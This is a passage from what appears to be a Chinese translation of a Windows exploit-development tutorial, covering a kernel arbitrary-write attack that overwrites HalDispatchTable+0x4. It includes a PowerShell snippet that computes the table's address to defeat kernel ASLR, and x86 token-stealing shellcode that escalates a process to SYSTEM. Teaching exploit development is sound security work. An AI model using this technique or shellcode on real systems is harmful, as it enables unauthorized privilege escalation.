- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Pwn
真正的问题是到底要覆盖哪个地址(在内核空间),如何找到可信赖的地址,执行后不会 BSOD(蓝屏)。幸运的是这项艰巨的工作已经有人做过了,我们可以覆盖一个内核的分发表指针,这相对来说安全(在 Ruben Santamarta 的 2007 年发表的“Exploiting common flaws in drivers”论文中第一次描述)。它揭示出有一个未文档化(罕用)的函数——NtQueryIntervalProfile 用于量度计数滴答之间的性能。这个函数内部调用了 KeQueryIntervalProfile 系统调用。反汇编 KeQueryIntervalProfile,看起来没什么特别的。
NtQueryIntervalProfile 最终会调用一个在 HalDispatchTable+0x4 处的指针。如果我们可以覆盖该指针使其指向我们的 shellcode,那么当调用 NtQueryIntervalProfile 时我们的 shellcode 就可以在内核层运行了。
现在我们知道了想要覆盖的地方,我们还需要弄清楚如何找到 HalDispatchTable 的地址。幸运的是,我们可以利用一个有用的未文档化的函数——NtQuerySystemInformation。如果我们调用 NtQuerySystemInformation 且指定 SystemModuleInformation 类我们可以获取一个加载的模块列表以及他们各自的基地址(包括 NT 内核)。我将节约读者去看关于该函数糟糕的细节的时间,我写了一个 PowerShell 脚本来做这一项工作, Get-SystemModuleInformation 。
它有效的绕过了内核中的 ASLR,因为我们可以使用加载模块的基地址来计算任意函数的偏移。下面你会看到使用简单的指针算术运算来获取 HalDispatchTable 偏移的过程。
$SystemModuleArray = Get-SystemModuleInformation
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Kernel32]::LoadLibrary("$KernelType")
$HALUserLand = [Kernel32]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
我们可以重用上一节创建的窃取 token 的 shellcode,完善其中的一部分。
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0xC3 # ret
)
我们无需还原那些此前所用的额外说明。此外,我们劫持了一个函数调用,所以需要保存寄存器的状态,shellcode 执行后需要返回到执行流继续正常执行。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论